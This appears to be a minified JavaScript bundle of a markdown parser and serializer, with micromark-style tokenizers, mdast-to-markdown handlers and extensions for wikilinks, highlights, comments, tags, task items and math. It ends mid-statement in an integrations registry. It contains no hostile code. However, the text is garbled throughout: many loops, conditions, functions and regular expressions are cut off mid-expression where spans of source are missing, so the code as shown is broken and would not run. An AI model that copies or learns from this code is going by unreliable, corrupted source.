$o={name:"labelEnd",resolveAll:w6,resolveTo:b6,tokenize:v6},p6={tokenize:k6},g6={tokenize:x6},y6={tokenize:S6};function w6(t){let e=-1,n=[];for(;++e=3&&(c===null||ae(c))?(t.exit("thematicBreak"),e(c)):n(c)}function l(c){return c===i?(t.consume(c),r++,l):(t.exit("thematicBreakSequence"),be(c)?Fe(t,a,"whitespace")(c):a(c))}}var on={continuation:{tokenize:A6},exit:P6,name:"list",tokenize:I6},T6={partial:!0,tokenize:N6},F6={partial:!0,tokenize:O6};function I6(t,e,n){let r=this,i=r.events[r.events.length-1],s=i&&i[1].type==="linePrefix"?i[2].sliceSerialize(i[1],!0).length:0,o=0;return a;function a(d){let p=r.containerState.type||(d===42||d===43||d===45?"listUnordered":"listOrdered");if(p==="listUnordered"?!r.containerState.marker||d===r.containerState.marker:wu(d)){if(r.containerState.type||(r.containerState.type=p,t.enter(p,{_container:!0})),p==="listUnordered")return t.enter("listItemPrefix"),d===42||d===45?t.check(Uo,n,c)(d):c(d);if(!r.interrupt||d===49)return t.enter("listItemPrefix"),t.enter("listItemValue"),l(d)}return n(d)}function l(d){return wu(d)&&++o<10?(t.consume(d),l):(!r.interrupt||o<2)&&(r.containerState.marker?d===r.containerState.marker:d===41||d===46)?(t.exit("listItemValue"),c(d)):n(d)}function c(d){return t.enter("listItemMarker"),t.consume(d),t.exit("listItemMarker"),r.containerState.marker=r.containerState.marker||d,t.check(Cs,r.interrupt?n:u,t.attempt(T6,h,f))}function u(d){return r.containerState.initialBlankLine=!0,s++,h(d)}function f(d){return be(d)?(t.enter("listItemPrefixWhitespace"),t.consume(d),t.exit("listItemPrefixWhitespace"),h):n(d)}function h(d){return r.containerState.size=s+r.sliceSerialize(t.exit("listItemPrefix"),!0).length,e(d)}}function A6(t,e,n){let r=this;return r.containerState._closeFlow=void 0,t.check(Cs,i,s);function i(a){return r.containerState.furtherBlankLines=r.containerState.furtherBlankLines||r.containerState.initialBlankLine,Fe(t,e,"listItemIndent",r.containerState.size+1)(a)}function s(a){return r.containerState.furtherBlankLines||!be(a)?(r.containerState.furtherBlankLines=void 0,r.containerState.initialBlankLine=void 0,o(a)):(r.containerState.furtherBlankLines=void 0,r.containerState.initialBlankLine=void 0,t.attempt(F6,e,o)(a))}function o(a){return r.containerState._closeFlow=!0,r.interrupt=void 0,Fe(t,t.attempt(on,e,n),"linePrefix",r.parser.constructs.disable.null.includes("codeIndented")?void 0:4)(a)}}function O6(t,e,n){let r=this;return Fe(t,i,"listItemIndent",r.containerState.size+1);function i(s){let o=r.events[r.events.length-1];return o&&o[1].type==="listItemIndent"&&o[2].sliceSerialize(o[1],!0).length===r.containerState.size?e(s):n(s)}}function P6(t){t.exit(this.containerState.type)}function N6(t,e,n){let r=this;return Fe(t,i,"listItemPrefixWhitespace",r.parser.constructs.disable.null.includes("codeIndented")?void 0:5);function i(s){let o=r.events[r.events.length-1];return!be(s)&&o&&o[1].type==="listItemPrefixWhitespace"?e(s):n(s)}}m();var Od={name:"setextUnderline",resolveTo:M6,tokenize:R6};function M6(t,e){let n=t.length,r,i,s;for(;n--;)if(t[n][0]==="enter"){if(t[n][1].type==="content"){r=n;break}t[n][1].type==="paragraph"&&(i=n)}else t[n][1].type==="content"&&t.splice(n,1),!s&&t[n][1].type==="definition"&&(s=n);let o={type:"setextHeading",start:{...t[r][1].start},end:{...t[t.length-1][1].end}};return t[i][1].type="setextHeadingText",s?(t.splice(i,0,["enter",o,e]),t.splice(s+1,0,["exit",t[r][1],e]),t[r][1].end={...t[s][1].end}):t[r][1]=o,t.push(["exit",o,e]),t}function R6(t,e,n){let r=this,i;return s;function s(c){let u=r.events.length,f;for(;u--;)if(r.events[u][1].type!=="lineEnding"&&r.events[u][1].type!=="linePrefix"&&r.events[u][1].type!=="content"){f=r.events[u][1].type==="paragraph";break}return!r.parser.lazy[r.now().line]&&(r.interrupt||f)?(t.enter("setextHeadingLine"),i=c,o(c)):n(c)}function o(c){return t.enter("setextHeadingLineSequence"),a(c)}function a(c){return c===i?(t.consume(c),a):(t.exit("setextHeadingLineSequence"),be(c)?Fe(t,l,"lineSuffix")(c):l(c))}function l(c){return c===null||ae(c)?(t.exit("setextHeadingLine"),e(c)):n(c)}}var OS={tokenize:z6};function z6(t){let e=this,n=t.attempt(Cs,r,t.attempt(this.parser.constructs.flowInitial,i,Fe(t,t.attempt(this.parser.constructs.flow,i,t.attempt(Ky,i)),"linePrefix")));return n;function r(s){if(s===null){t.consume(s);return}return t.enter("lineEndingBlank"),t.consume(s),t.exit("lineEndingBlank"),e.currentConstruct=void 0,n}function i(s){if(s===null){t.consume(s);return}return t.enter("lineEnding"),t.consume(s),t.exit("lineEnding"),e.currentConstruct=void 0,n}}m();var PS={resolveAll:zS()},NS=RS("string"),MS=RS("text");function RS(t){return{resolveAll:zS(t==="text"?L6:void 0),tokenize:e};function e(n){let r=this,i=this.parser.constructs[t],s=n.attempt(i,o,a);return o;function o(u){return c(u)?s(u):a(u)}function a(u){if(u===null){n.consume(u);return}return n.enter("data"),n.consume(u),l}function l(u){return c(u)?(n.exit("data"),s(u)):(n.consume(u),l)}function c(u){if(u===null)return!0;let f=i[u],h=-1;if(f)for(;++hW6,contentInitial:()=>$6,disable:()=>G6,document:()=>B6,flow:()=>j6,flowInitial:()=>U6,insideSpan:()=>H6,string:()=>q6,text:()=>V6});m();var B6={42:on,43:on,45:on,48:on,49:on,50:on,51:on,52:on,53:on,54:on,55:on,56:on,57:on,62:Sd},$6={91:Zy},U6={[-2]:vu,[-1]:vu,32:vu},j6={35:Jy,42:Uo,45:[Od,Uo],60:ew,61:Od,95:Uo,96:_d,126:_d},q6={38:Ed,92:Dd},V6={[-5]:xu,[-4]:xu,[-3]:xu,33:nw,38:Ed,42:bu,60:[Gy,tw],91:rw,92:[Yy,Dd],93:$o,95:bu,96:Qy},H6={null:[bu,PS]},W6={null:[42,95]},G6={null:[]};m();function LS(t,e,n){let r={_bufferIndex:-1,_index:0,line:n&&n.line||1,column:n&&n.column||1,offset:n&&n.offset||0},i={},s=[],o=[],a=[],l=!0,c={attempt:C(v),check:C(_),consume:D,enter:k,exit:E,interrupt:C(_,{interrupt:!0})},u={code:null,containerState:{},defineSkip:w,events:[],now:y,parser:t,previous:null,sliceSerialize:p,sliceStream:g,write:d},f=e.tokenize.call(u,c),h;return e.resolveAll&&s.push(e),u;function d(B){return o=pn(o,B),b(),o[o.length-1]!==null?[]:(A(e,0),u.events=ol(s,u.events,u),u.events)}function p(B,L){return K6(g(B),L)}function g(B){return Q6(o,B)}function y(){let{_bufferIndex:B,_index:L,line:G,column:U,offset:he}=r;return{_bufferIndex:B,_index:L,line:G,column:U,offset:he}}function w(B){i[B.line]=B.column,N()}function b(){let B;for(;r._index-1){let a=o[0];typeof a=="string"?o[0]=a.slice(r):o.shift()}s>0&&o.push(t[i].slice(0,s))}return o}function K6(t,e){let n=-1,r=[],i;for(;++n0){let Kn=Ee.tokenStack[Ee.tokenStack.length-1];(Kn[1]||$S).call(Ee,void 0,Kn[0])}for(ee.position={start:Ts(j.length>0?j[0][1].start:{line:1,column:1,offset:0}),end:Ts(j.length>0?j[j.length-2][1].end:{line:1,column:1,offset:0})},nt=-1;++nt "),s.shift(2);let o=n.indentLines(n.containerFlow(t,s.current()),n3);return i(),o}function n3(t,e,n){return">"+(n?"":" ")+t}m();m();function Md(t,e){return GS(t,e.inConstruct,!0)&&!GS(t,e.notInConstruct,!1)}function GS(t,e,n){if(typeof e=="string"&&(e=[e]),!e||e.length===0)return n;let r=-1;for(;++ro&&(o=s):s=1,i=r+e.length,r=n.indexOf(e,i);return o}m();function Su(t,e){return!!(e.options.fences===!1&&t.value&&!t.lang&&/[^ \r\n]/.test(t.value)&&!/^[\t ]*(?:[\r\n]|$)|(?:^|[\r\n])[\t ]*$/.test(t.value))}m();function KS(t){let e=t.options.fence||"`";if(e!=="`"&&e!=="~")throw new Error("Cannot serialize code with `"+e+"` for `options.fence`, expected `` ` `` or `~`");return e}function ZS(t,e,n,r){let i=KS(n),s=t.value||"",o=i==="`"?"GraveAccent":"Tilde";if(Su(t,n)){let f=n.enter("codeIndented"),h=n.indentLines(s,r3);return f(),h}let a=n.createTracker(r),l=i.repeat(Math.max(QS(s,i)+1,3)),c=n.enter("codeFenced"),u=a.move(l);if(t.lang){let f=n.enter(`codeFencedLang${o}`);u+=a.move(n.safe(t.lang,{before:u,after:" ",encode:["`"],...a.current()})),f()}if(t.lang&&t.meta){let f=n.enter(`codeFencedMeta${o}`);u+=a.move(" "),u+=a.move(n.safe(t.meta,{before:u,after:` -`,encode:["`"],...a.current()})),f()}return u+=a.move(` -`),s&&(u+=a.move(s+` -`)),u+=a.move(l),c(),u}function r3(t,e,n){return(n?"":" ")+t}m();m();function al(t){let e=t.options.quote||'"';if(e!=='"'&&e!=="'")throw new Error("Cannot serialize title with `"+e+"` for `options.quote`, expected `\"`, or `'`");return e}function YS(t,e,n,r){let i=al(n),s=i==='"'?"Quote":"Apostrophe",o=n.enter("definition"),a=n.enter("label"),l=n.createTracker(r),c=l.move("[");return c+=l.move(n.safe(n.associationId(t),{before:c,after:"]",...l.current()})),c+=l.move("]: "),a(),!t.url||/[\0- \u007F]/.test(t.url)?(a=n.enter("destinationLiteral"),c+=l.move("<"),c+=l.move(n.safe(t.url,{before:c,after:">",...l.current()})),c+=l.move(">")):(a=n.enter("destinationRaw"),c+=l.move(n.safe(t.url,{before:c,after:t.title?" ":` -`,...l.current()}))),a(),t.title&&(a=n.enter(`title${s}`),c+=l.move(" "+i),c+=l.move(n.safe(t.title,{before:c,after:i,...l.current()})),c+=l.move(i),a()),o(),c}m();m();function JS(t){let e=t.options.emphasis||"*";if(e!=="*"&&e!=="_")throw new Error("Cannot serialize emphasis with `"+e+"` for `options.emphasis`, expected `*`, or `_`");return e}m();function Jn(t){return"&#x"+t.toString(16).toUpperCase()+";"}m();function ll(t,e,n){let r=sl(t),i=sl(e);return r===void 0?i===void 0?n==="_"?{inside:!0,outside:!0}:{inside:!1,outside:!1}:i===1?{inside:!0,outside:!0}:{inside:!1,outside:!0}:r===1?i===void 0?{inside:!1,outside:!1}:i===1?{inside:!0,outside:!0}:{inside:!1,outside:!1}:i===void 0?{inside:!1,outside:!1}:i===1?{inside:!0,outside:!1}:{inside:!1,outside:!1}}fw.peek=i3;function fw(t,e,n,r){let i=JS(n),s=n.enter("emphasis"),o=n.createTracker(r),a=o.move(i),l=o.move(n.containerPhrasing(t,{after:i,before:a,...o.current()})),c=l.charCodeAt(0),u=ll(r.before.charCodeAt(r.before.length-1),c,i);u.inside&&(l=Jn(c)+l.slice(1));let f=l.charCodeAt(l.length-1),h=ll(r.after.charCodeAt(0),f,i);h.inside&&(l=l.slice(0,-1)+Jn(f));let d=o.move(i);return s(),n.attentionEncodeSurroundingInfo={after:h.outside,before:u.outside},a+l+d}function i3(t,e,n){return n.options.emphasis||"*"}m();m();m();m();m();m();m();m();var cl=function(t){if(t==null)return l3;if(typeof t=="function")return Rd(t);if(typeof t=="object")return Array.isArray(t)?s3(t):o3(t);if(typeof t=="string")return a3(t);throw new Error("Expected function, string, or object as test")};function s3(t){let e=[],n=-1;for(;++n":""))+")"})}return h;function h(){let d=XS,p,g,y;if((!e||s(l,c,u[u.length-1]||void 0))&&(d=u3(n(l,u)),d[0]===jo))return d;if("children"in l&&l.children){let w=l;if(w.children&&d[0]!==Ld)for(g=(r?w.children.length:-1)+o,y=u.concat(w);g>-1&&g",...l.current()})),c+=l.move(">")):(a=n.enter("destinationRaw"),c+=l.move(n.safe(t.url,{before:c,after:t.title?" ":")",...l.current()}))),a(),t.title&&(a=n.enter(`title${s}`),c+=l.move(" "+i),c+=l.move(n.safe(t.title,{before:c,after:i,...l.current()})),c+=l.move(i),a()),c+=l.move(")"),o(),c}function h3(){return"!"}m();pw.peek=d3;function pw(t,e,n,r){let i=t.referenceType,s=n.enter("imageReference"),o=n.enter("label"),a=n.createTracker(r),l=a.move("!["),c=n.safe(t.alt,{before:l,after:"]",...a.current()});l+=a.move(c+"]["),o();let u=n.stack;n.stack=[],o=n.enter("reference");let f=n.safe(n.associationId(t),{before:l,after:"]",...a.current()});return o(),n.stack=u,s(),i==="full"||!c||c!==f?l+=a.move(f+"]"):i==="shortcut"?l=l.slice(0,-1):l+=a.move("]"),l}function d3(){return"!"}m();gw.peek=m3;function gw(t,e,n){let r=t.value||"",i="`",s=-1;for(;new RegExp("(^|[^`])"+i+"([^`]|$)").test(r);)i+="`";for(/[^ \r\n]/.test(r)&&(/^[ \r\n]/.test(r)&&/[ \r\n]$/.test(r)||/^`|`$/.test(r))&&(r=" "+r+" ");++s\u007F]/.test(t.url))}ww.peek=p3;function ww(t,e,n,r){let i=al(n),s=i==='"'?"Quote":"Apostrophe",o=n.createTracker(r),a,l;if(yw(t,n)){let u=n.stack;n.stack=[],a=n.enter("autolink");let f=o.move("<");return f+=o.move(n.containerPhrasing(t,{before:f,after:">",...o.current()})),f+=o.move(">"),a(),n.stack=u,f}a=n.enter("link"),l=n.enter("label");let c=o.move("[");return c+=o.move(n.containerPhrasing(t,{before:c,after:"](",...o.current()})),c+=o.move("]("),l(),!t.url&&t.title||/[\0- \u007F]/.test(t.url)?(l=n.enter("destinationLiteral"),c+=o.move("<"),c+=o.move(n.safe(t.url,{before:c,after:">",...o.current()})),c+=o.move(">")):(l=n.enter("destinationRaw"),c+=o.move(n.safe(t.url,{before:c,after:t.title?" ":")",...o.current()}))),l(),t.title&&(l=n.enter(`title${s}`),c+=o.move(" "+i),c+=o.move(n.safe(t.title,{before:c,after:i,...o.current()})),c+=o.move(i),l()),c+=o.move(")"),a(),c}function p3(t,e,n){return yw(t,n)?"<":"["}m();bw.peek=g3;function bw(t,e,n,r){let i=t.referenceType,s=n.enter("linkReference"),o=n.enter("label"),a=n.createTracker(r),l=a.move("["),c=n.containerPhrasing(t,{before:l,after:"]",...a.current()});l+=a.move(c+"]["),o();let u=n.stack;n.stack=[],o=n.enter("reference");let f=n.safe(n.associationId(t),{before:l,after:"]",...a.current()});return o(),n.stack=u,s(),i==="full"||!c||c!==f?l+=a.move(f+"]"):i==="shortcut"?l=l.slice(0,-1):l+=a.move("]"),l}function g3(){return"["}m();m();function fl(t){let e=t.options.bullet||"*";if(e!=="*"&&e!=="+"&&e!=="-")throw new Error("Cannot serialize items with `"+e+"` for `options.bullet`, expected `*`, `+`, or `-`");return e}m();function tD(t){let e=fl(t),n=t.options.bulletOther;if(!n)return e==="*"?"-":"*";if(n!=="*"&&n!=="+"&&n!=="-")throw new Error("Cannot serialize items with `"+n+"` for `options.bulletOther`, expected `*`, `+`, or `-`");if(n===e)throw new Error("Expected `bullet` (`"+e+"`) and `bulletOther` (`"+n+"`) to be different");return n}m();function nD(t){let e=t.options.bulletOrdered||".";if(e!=="."&&e!==")")throw new Error("Cannot serialize items with `"+e+"` for `options.bulletOrdered`, expected `.` or `)`");return e}m();function $d(t){let e=t.options.rule||"*";if(e!=="*"&&e!=="-"&&e!=="_")throw new Error("Cannot serialize rules with `"+e+"` for `options.rule`, expected `*`, `-`, or `_`");return e}function rD(t,e,n,r){let i=n.enter("list"),s=n.bulletCurrent,o=t.ordered?nD(n):fl(n),a=t.ordered?o==="."?")":".":tD(n),l=e&&n.bulletLastUsed?o===n.bulletLastUsed:!1;if(!t.ordered){let u=t.children?t.children[0]:void 0;if((o==="*"||o==="-")&&u&&(!u.children||!u.children[0])&&n.stack[n.stack.length-1]==="list"&&n.stack[n.stack.length-2]==="listItem"&&n.stack[n.stack.length-3]==="list"&&n.stack[n.stack.length-4]==="listItem"&&n.indexStack[n.indexStack.length-1]===0&&n.indexStack[n.indexStack.length-2]===0&&n.indexStack[n.indexStack.length-3]===0&&(l=!0),$d(n)===o&&u){let f=-1;for(;++f-1?e.start:1)+(n.options.incrementListMarker===!1?0:e.children.indexOf(t))+s);let o=s.length+1;(i==="tab"||i==="mixed"&&(e&&e.type==="list"&&e.spread||t.spread))&&(o=Math.ceil(o/4)*4);let a=n.createTracker(r);a.move(s+" ".repeat(o-s.length)),a.shift(o);let l=n.enter("listItem"),c=n.indentLines(n.containerFlow(t,a.current()),u);return l(),c;function u(f,h,d){return h?(d?"":" ".repeat(o))+f:(d?s:s+" ".repeat(o-s.length))+f}}m();function oD(t,e,n,r){let i=n.enter("paragraph"),s=n.enter("phrasing"),o=n.containerPhrasing(t,r);return s(),i(),o}m();m();m();var vw=cl(["break","delete","emphasis","footnote","footnoteReference","image","imageReference","inlineCode","inlineMath","link","linkReference","mdxJsxTextElement","mdxTextExpression","strong","text","textDirective"]);function aD(t,e,n,r){return(t.children.some(function(o){return vw(o)})?n.containerPhrasing:n.containerFlow).call(n,t,r)}m();m();function lD(t){let e=t.options.strong||"*";if(e!=="*"&&e!=="_")throw new Error("Cannot serialize strong with `"+e+"` for `options.strong`, expected `*`, or `_`");return e}kw.peek=y3;function kw(t,e,n,r){let i=lD(n),s=n.enter("strong"),o=n.createTracker(r),a=o.move(i+i),l=o.move(n.containerPhrasing(t,{after:i,before:a,...o.current()})),c=l.charCodeAt(0),u=ll(r.before.charCodeAt(r.before.length-1),c,i);u.inside&&(l=Jn(c)+l.slice(1));let f=l.charCodeAt(l.length-1),h=ll(r.after.charCodeAt(0),f,i);h.inside&&(l=l.slice(0,-1)+Jn(f));let d=o.move(i+i);return s(),n.attentionEncodeSurroundingInfo={after:h.outside,before:u.outside},a+l+d}function y3(t,e,n){return n.options.strong||"*"}m();function cD(t,e,n,r){return n.safe(t.value,r)}m();m();function uD(t){let e=t.options.ruleRepetition||3;if(e<3)throw new Error("Cannot serialize rules with repetition `"+e+"` for `options.ruleRepetition`, expected `3` or more");return e}function fD(t,e,n){let r=($d(n)+(n.options.ruleSpaces?" ":"")).repeat(uD(n));return n.options.ruleSpaces?r.slice(0,-1):r}var hD={blockquote:WS,break:uw,code:ZS,definition:YS,emphasis:fw,hardBreak:uw,heading:eD,html:dw,image:mw,imageReference:pw,inlineCode:gw,link:ww,linkReference:bw,list:rD,listItem:sD,paragraph:oD,root:aD,strong:kw,text:cD,thematicBreak:fD};m();var dD=[w3];function w3(t,e,n,r){if(e.type==="code"&&Su(e,r)&&(t.type==="list"||t.type===e.type&&Su(t,r)))return!1;if("spread"in n&&typeof n.spread=="boolean")return t.type==="paragraph"&&(t.type===e.type||e.type==="definition"||e.type==="heading"&&Bd(e,r))?void 0:n.spread?1:0}m();var qo=["autolink","destinationLiteral","destinationRaw","reference","titleQuote","titleApostrophe"],mD=[{character:" ",after:"[\\r\\n]",inConstruct:"phrasing"},{character:" ",before:"[\\r\\n]",inConstruct:"phrasing"},{character:" ",inConstruct:["codeFencedLangGraveAccent","codeFencedLangTilde"]},{character:"\r",inConstruct:["codeFencedLangGraveAccent","codeFencedLangTilde","codeFencedMetaGraveAccent","codeFencedMetaTilde","destinationLiteral","headingAtx"]},{character:` -`,inConstruct:["codeFencedLangGraveAccent","codeFencedLangTilde","codeFencedMetaGraveAccent","codeFencedMetaTilde","destinationLiteral","headingAtx"]},{character:" ",after:"[\\r\\n]",inConstruct:"phrasing"},{character:" ",before:"[\\r\\n]",inConstruct:"phrasing"},{character:" ",inConstruct:["codeFencedLangGraveAccent","codeFencedLangTilde"]},{character:"!",after:"\\[",inConstruct:"phrasing",notInConstruct:qo},{character:'"',inConstruct:"titleQuote"},{atBreak:!0,character:"#"},{character:"#",inConstruct:"headingAtx",after:`(?:[\r -]|$)`},{character:"&",after:"[#A-Za-z]",inConstruct:"phrasing"},{character:"'",inConstruct:"titleApostrophe"},{character:"(",inConstruct:"destinationRaw"},{before:"\\]",character:"(",inConstruct:"phrasing",notInConstruct:qo},{atBreak:!0,before:"\\d+",character:")"},{character:")",inConstruct:"destinationRaw"},{atBreak:!0,character:"*",after:`(?:[ \r -*])`},{character:"*",inConstruct:"phrasing",notInConstruct:qo},{atBreak:!0,character:"+",after:`(?:[ \r -])`},{atBreak:!0,character:"-",after:`(?:[ \r --])`},{atBreak:!0,before:"\\d+",character:".",after:`(?:[ \r -]|$)`},{atBreak:!0,character:"<",after:"[!/?A-Za-z]"},{character:"<",after:"[!/?A-Za-z]",inConstruct:"phrasing",notInConstruct:qo},{character:"<",inConstruct:"destinationLiteral"},{atBreak:!0,character:"="},{atBreak:!0,character:">"},{character:">",inConstruct:"destinationLiteral"},{atBreak:!0,character:"["},{character:"[",inConstruct:"phrasing",notInConstruct:qo},{character:"[",inConstruct:["label","reference"]},{character:"\\",after:"[\\r\\n]",inConstruct:"phrasing"},{character:"]",inConstruct:["label","reference"]},{atBreak:!0,character:"_"},{character:"_",inConstruct:"phrasing",notInConstruct:qo},{atBreak:!0,character:"`"},{character:"`",inConstruct:["codeFencedLangGraveAccent","codeFencedMetaGraveAccent"]},{character:"`",inConstruct:"phrasing",notInConstruct:qo},{atBreak:!0,character:"~"}];m();function pD(t){return t.label||!t.identifier?t.label||"":Pd(t.identifier)}m();function gD(t){if(!t._compiled){let e=(t.atBreak?"[\\r\\n][\\t ]*":"")+(t.before?"(?:"+t.before+")":"");t._compiled=new RegExp((e?"("+e+")":"")+(/[|\\{}()[\]^$+*?.-]/.test(t.character)?"\\":"")+t.character+(t.after?"(?:"+t.after+")":""),"g")}return t._compiled}m();function yD(t,e,n){let r=e.indexStack,i=t.children||[],s=[],o=-1,a=n.before,l;r.push(-1);let c=e.createTracker(n);for(;++o0&&(a==="\r"||a===` -`)&&u.type==="html"&&(s[s.length-1]=s[s.length-1].replace(/(\r?\n|\r)$/," "),a=" ",c=e.createTracker(n),c.move(s.join("")));let h=e.handle(u,t,e,{...c.current(),after:f,before:a});l&&l===h.slice(0,1)&&(h=Jn(l.charCodeAt(0))+h.slice(1));let d=e.attentionEncodeSurroundingInfo;e.attentionEncodeSurroundingInfo=void 0,l=void 0,d&&(s.length>0&&d.before&&a===s[s.length-1].slice(-1)&&(s[s.length-1]=s[s.length-1].slice(0,-1)+Jn(a.charCodeAt(0))),d.after&&(l=f)),c.move(h),s.push(h),a=h.slice(-1)}return r.pop(),s.join("")}m();function wD(t,e,n){let r=e.indexStack,i=t.children||[],s=e.createTracker(n),o=[],a=-1;for(r.push(-1);++a - -`}return` - -`}m();var v3=/\r?\n|\r/g;function bD(t,e){let n=[],r=0,i=0,s;for(;s=v3.exec(t);)o(t.slice(r,s.index)),n.push(s[0]),r=s.index+s[0].length,i++;return o(t.slice(r)),n.join("");function o(a){n.push(e(a,i,!a))}}m();function kD(t,e,n){let r=(n.before||"")+(e||"")+(n.after||""),i=[],s=[],o={},a=-1;for(;++a=c||u+1":""))+")"})}return h;function h(){let d=MD,p,g,y;if((!e||s(l,c,u[u.length-1]||void 0))&&(d=V3(n(l,u)),d[0]===TD))return d;if("children"in l&&l.children){let w=l;if(w.children&&d[0]!==j3)for(g=(r?w.children.length:-1)+o,y=u.concat(w);g>-1&&g=48&&t<=57||t===rU||t===iU?!0:sU.test(String.fromCodePoint(t))}function Pw(t){return t===null?!1:!(t>=48&&t<=57)}function aU(){return{text:{[Nw]:{name:"tag",tokenize:lU}}}}function lU(t,e,n){let r=!1,i=this;return s;function s(u){let f=i.previous;return!(f===null||oU(f)||f===Nw)||u!==Nw?n(u):(t.enter("tag"),t.enter("tagMarker"),t.consume(u),t.exit("tagMarker"),o)}function o(u){return Ow(u)?(t.enter("tagContent"),Pw(u)&&(r=!0),t.consume(u),a):n(u)}function a(u){return u===nU?(t.consume(u),l):Ow(u)?(Pw(u)&&(r=!0),t.consume(u),a):c(u)}function l(u){return Ow(u)?(Pw(u)&&(r=!0),t.consume(u),a):n(u)}function c(u){return r?(t.exit("tagContent"),t.exit("tag"),e(u)):n(u)}}function cU(){return{enter:{wikilink(t){this.enter({type:"wikilink",value:"",embedded:!1,path:"",heading:"",alias:""},t)},wikilinkEmbedMarker(){let t=this.stack[this.stack.length-1];t.embedded=!0},wikilinkPath(t){let e=this.stack[this.stack.length-1];e.path=this.sliceSerialize(t).replace(/\\([#\[\]])/g,"$1")},wikilinkHeading(t){let e=this.stack[this.stack.length-1];e.heading=this.sliceSerialize(t).replace(/\\([#\[\]])/g,"$1")},wikilinkAlias(t){let e=this.stack[this.stack.length-1];e.alias=this.sliceSerialize(t)}},exit:{wikilink(t){let e=this.stack[this.stack.length-1];e.alias&&(e.path.endsWith("\\")&&(e.path=e.path.slice(0,-1)),e.heading.endsWith("\\")&&(e.heading=e.heading.slice(0,-1))),this.exit(t)}}}}function uU(){return{enter:{highlight(t){this.enter({type:"highlight",children:[]},t)}},exit:{highlightContent(t){let e=this.stack[this.stack.length-1];e.children=[{type:"text",value:this.sliceSerialize(t)}]},highlight(t){this.exit(t)}}}}function fU(){return{enter:{comment(t){this.enter({type:"comment",value:""},t)}},exit:{commentContent(t){let e=this.stack[this.stack.length-1];e.value+=this.sliceSerialize(t)},comment(t){this.exit(t)}}}}function hU(){return{enter:{tag(t){this.enter({type:"tag",value:""},t)},tagContent(t){let e=this.stack[this.stack.length-1];e.type==="tag"&&(e.value=this.sliceSerialize(t))}},exit:{tag(t){this.exit(t)}}}}function dU(){return{handlers:{wikilink(t){let e=t.embedded?"!":"",n=t.heading?`#${t.heading}`:"",r=t.alias?`|${t.alias}`:"";return`${e}[[${t.path}${n}${r}]]`}}}}function mU(){return{handlers:{highlight(t,e,n,r){let i=n.enter("highlight"),s=n.containerPhrasing(t,r);return i(),`==${s}==`}}}}function pU(){return{handlers:{comment(t){return`%%${t.value}%%`}}}}function gU(){return{handlers:{tag(t){return`#${t.value}`}}}}function yU(t,e){RD(t,"listItem",n=>{if(typeof n.checked=="boolean"){let a=n.checked?"x":" ";if(e&&n.position?.start?.offset!=null){let c=e.slice(n.position.start.offset,n.position.start.offset+20).match(/\[([^\]])\]/);c&&(a=c[1])}n.data??={},n.data.taskChar=a,n.data.hProperties??={},n.data.hProperties.dataTaskChar=a;return}let r=n.children?.[0];if(!r||r.type!=="paragraph")return;let i=r.children?.[0];if(!i||i.type!=="text")return;let s=i.value.match(/^\[([^\]])\]\s/);if(!s)return;let o=s[1];n.checked=o!==" ",n.data??={},n.data.taskChar=o,n.data.hProperties??={},n.data.hProperties.dataTaskChar=o,i.value=i.value.slice(s[0].length),i.value.length===0?r.children.shift():i.position&&typeof i.position.start.offset=="number"&&(i.position.start.column+=s[0].length,i.position.start.offset+=s[0].length)})}var zae=As(/[A-Za-z]/),Lae=As(/[\dA-Za-z]/),Bae=As(/[#-'*+\--9=?A-Z^-~]/),$ae=As(/\d/),Uae=As(/[\dA-Fa-f]/),jae=As(/[!-/:-@[-`{-~]/);function Go(t){return t!==null&&t<-2}function OD(t){return t===-2||t===-1||t===32}var qae=As(/\p{P}|\p{S}/u),Vae=As(/\s/);function As(t){return e;function e(n){return n!==null&&n>-1&&t.test(String.fromCharCode(n))}}function Vd(t,e,n,r){let i=r?r-1:Number.POSITIVE_INFINITY,s=0;return o;function o(l){return OD(l)?(t.enter(n),a(l)):e(l)}function a(l){return OD(l)&&s++o&&(o=s):s=1,i=r+e.length,r=n.indexOf(e,i);return o}function _U(){return{enter:{mathFlow:t,mathFlowFenceMeta:e,mathText:s},exit:{mathFlow:i,mathFlowFence:r,mathFlowFenceMeta:n,mathFlowValue:a,mathText:o,mathTextData:a}};function t(l){let c={type:"element",tagName:"code",properties:{className:["language-math","math-display"]},children:[]};this.enter({type:"math",meta:null,value:"",data:{hName:"pre",hChildren:[c]}},l)}function e(){this.buffer()}function n(){let l=this.resume(),c=this.stack[this.stack.length-1];c.type,c.meta=l}function r(){this.data.mathFlowInside||(this.buffer(),this.data.mathFlowInside=!0)}function i(l){let c=this.resume().replace(/^(\r?\n|\r)|(\r?\n|\r)$/g,""),u=this.stack[this.stack.length-1];u.type,this.exit(l),u.value=c;let f=u.data.hChildren[0];f.type,f.tagName,f.children.push({type:"text",value:c}),this.data.mathFlowInside=void 0}function s(l){this.enter({type:"inlineMath",value:"",data:{hName:"code",hProperties:{className:["language-math","math-inline"]},hChildren:[]}},l),this.buffer()}function o(l){let c=this.resume(),u=this.stack[this.stack.length-1];u.type,this.exit(l),u.value=c,u.data.hChildren.push({type:"text",value:c})}function a(l){this.config.enter.data.call(this,l),this.config.exit.data.call(this,l)}}function CU(t){let e=(t||{}).singleDollarTextMath;return e==null&&(e=!0),r.peek=i,{unsafe:[{character:"\r",inConstruct:"mathFlowMeta"},{character:` -`,inConstruct:"mathFlowMeta"},{character:"$",after:e?void 0:"\\$",inConstruct:"phrasing"},{character:"$",inConstruct:"mathFlowMeta"},{atBreak:!0,character:"$",after:"\\$"}],handlers:{math:n,inlineMath:r}};function n(s,o,a,l){let c=s.value||"",u=a.createTracker(l),f="$".repeat(Math.max(EU(c,"$")+1,2)),h=a.enter("mathFlow"),d=u.move(f);if(s.meta){let p=a.enter("mathFlowMeta");d+=u.move(a.safe(s.meta,{after:` -`,before:d,encode:["$"],...u.current()})),p()}return d+=u.move(` -`),c&&(d+=u.move(c+` -`)),d+=u.move(f),h(),d}function r(s,o,a){let l=s.value||"",c=1;for(e||c++;new RegExp("(^|[^$])"+"\\$".repeat(c)+"([^$]|$)").test(l);)c++;let u="$".repeat(c);/[^ \r\n]/.test(l)&&(/^[ \r\n]/.test(l)&&/[ \r\n]$/.test(l)||/^\$|\$$/.test(l))&&(l=" "+l+" ");let f=-1;for(;++f{e.comments&&RD(i,"comment",(o,a,l)=>{if(l&&typeof a=="number")return l.children.splice(a,1),a}),e.customTaskChars&&yU(i,String(s))}}m();m();m();m();var Qd=class{integrations=[];register(e){this.integrations.push(e)}getAll(){return[...this.integrations]}getByCategory(e){return this.integrations.filter(n=>n.category===e)}getEnabled(e){return 